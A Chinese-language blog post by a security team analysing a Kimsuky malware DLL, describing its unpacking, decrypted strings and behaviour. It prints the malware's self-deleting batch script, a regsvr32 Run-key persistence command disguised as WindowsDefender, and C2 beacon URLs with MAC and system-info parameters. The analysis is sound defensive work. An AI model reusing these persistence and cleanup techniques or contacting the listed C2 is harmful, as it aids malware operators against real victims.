关于Kimsuky的一次恶意样本分析小记

前言

最近才开始关注朝鲜半岛相关的攻击行为，在看ESTS的相关文章，因为刚刚开始关注朝鲜半岛，拉撒路我就不考虑了。浏览的重点着重于Kimsuky相关PE样本。看到最近的一篇和PE有关的样本分析文章为https://blog.alyac.co.kr/3091。观看该文章总结的攻击链应该为“WSF恶意脚本文件->释放恶意DLL文件和与COVID-19有关的迷惑性HWP文件”。依据文章样本链除了最后一环有通信行为，其他样本应该是以Base64编码后硬编码在脚本文件中的，拿到初始样本可以不依据通信就还原整个攻击链，因此希望能够拿到初始链的WSF脚本样本。依据确定IOC只有一条域名，于是拿着IOC去VT、微步、anyrun上找相关样本，但是最终只找到了最后所释放的dll。那就只好分析dll了。

动静分析

首先静态用IDA观察dllmain函数，发现在该函数中就获取了一个当前模块路径就返回了，可以确定相关恶意行为不在dll加载的时候执行。

 

使用LoaderPe观察该DLL的导出函数，具有四个导出函数。

 

一一查看后发现恶意行为在DllRegisterServer()这个导出函数之中。直接上OD，然而在调试的时候发现，有一些库函数并没有出现在IAT中，在动态调试的时候发现有了调用，在IDA中存在一个函数指针数组。然后我开始怀疑是在初始化的时候有调用。

 

根据引用发现有对该指针数组赋值的行为。该赋值行为存在在函数10009410之中。

 

继续了解这个函数赋值行为从哪里来的。发现该函数也是存在于一个函数指针数组之中。查看引用，发现在Cinit函数中有调用，猜测到就是在初始化的时候循环调用了函数指针数组进行自定义一个类似IAT。

 

为了方便IDA浏览，我选择在运行到Winmain的时候直接dump出来，重建IAT。
可以有两种重建方式，一种方便快捷，ODdump的时候选择重建IAT即可。

 

还有一种是新建一个节表。将IAT整体移走。分模块重新构建IAT。这一种有个缺点，就是你还得去修改代码段中相关函数调用的地址都要变为你重建的IAT之中。

 

相关字符串基本上都是加密的，有一篇文章介绍了类似的加密；可以参考博文https://sfkino.tistory.com/77。

 

字符串可能都是以string这种类型进行保存的，和string字符串内存布局很像。但我记得string头四个字节应该保存的是指向自己的指针才对。

 

获取环境变量%PROGRAMDATA%对应的目录。将解密的字符串进行拼接，构造patch.dll的保存路径C:ProgramDataSoftwareMicrosoftWindowsAutoPatchpatch.dll。

 

创建目录C:ProgramDataSoftwareMicrosoftWindowsAutoPatch。

 

继续拼接regsvr32.exe /s "C:ProgramDataSoftwareMicrosoftWindowsAutoPatchpatch.dll"。该字符串一个是用作run键的值，键名WindowsDefender；

 

另外一个是用作判断是否该模块在规定的目录下，如果不是的话将将dll拷贝纸规定的目录，然后会获取临时目录以及临时文件路径，尝试创建临时文件，在临时文件中添加如下代码，给临时文件加上.bat后缀然后执行该bat文件，可以看出该bat文件就是删除dll原本所在的路径和自身，最后以该字符串为创建进程参数进行进程创建。

bat文件代码：

:repeat
    del "C:UsersadminDesktopPatch.dll"
    if exist "C:UsersadminDesktopPatch.dll" goto repeat
    del "%~f0"

 之后创建一个名为chanel的互斥体。

 UAC相关查询

 获取当前Token

 

当获取不到Token或者UAC查询不都为0时，会重新创建进程，在管道中获取进程返回的信息。

 

获取调试权限。

 

之后就是创建了线程，然后在线程中创建了三个线程。

• 第一个线程，解密了C2，获取了MAC地址。最终的拼接为http://chanel-love.org-help.com///?m=c&p1=000c2907d070。p1为十六进制的MAC地址。

  解密数据包头，对url发起访问。将返回的数据保存在临时目录中的临时文件。
  

  读取临时文件对应字段，判断类型，然后执行对应操作，因为C2无响应，没有返回文件，我只能通过Kimsuky往常的行为和IDA静态观察来猜测行为了，如果猜错了，望大手子轻喷萌新分析。

• v68 == 1时，函数内部有大量的堆空间申请释放，修改堆空间属性操作，初步猜测是对shellcode解密内存加载。

• 当V69 ==2 时候，猜测是进行对文件信息的获取，以及落地相关文件。

• 都不是的时候猜测为执行CMD命令，执行结果通过管道获取。
  

• 第二个线程为获取系统信息，拼接参数构造url，以Get的方式进行http请求。
  
  参数为：

  //?m=a&p1=000c2907d070&p2=Win6.1.7600x86-Dropper-v3382363
  

  p1= MAC地址
  p2 = 系统信息 -Dropper-v3382363，后面这个v怀疑是版本。

  下面是数据包头（三个线程都是用的这个数据包头）。

  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
  

• 第三个线程也是获取一些信息进行拼接。

  http://chanel-love.org-help.com///?m=e&p1=000c2907d070&p2=a&p3=f5e66e2ee89a3128aafca3327b18710ee9deaaa0
  

  p1 = mac
  p2 = a
  p3 = dll一段内容的摘要

  通信下载了一个临时文件（无响应）并执行。
  

总结

后续线程中很多行为需要基于响应的C2才能够完整分析，然而C2已经无响应了，我只能去各个Hunter平台，查看之前Kimsuky类似行为链的样本的pcap包，通过查看之前的pcap包以及各个线程所使用的API来推测相应的恶意行为。新手分析，还有很多分析不到位的地方，望大家多多包涵。

Day1安全团队会以微信公众号为平台持续输出渗透测试、代码审计、Windows逆向等内容，致力于回馈安全社区，提高网络安全普及程度

团队成员：http://team.day1.today/

Day1团队招擅长开发的大佬共同发展自动化

有兴趣者欢迎投递[email protected]

本文始发于微信公众号（Day1安全团队）：关于Kimsuky的一次恶意样本分析小记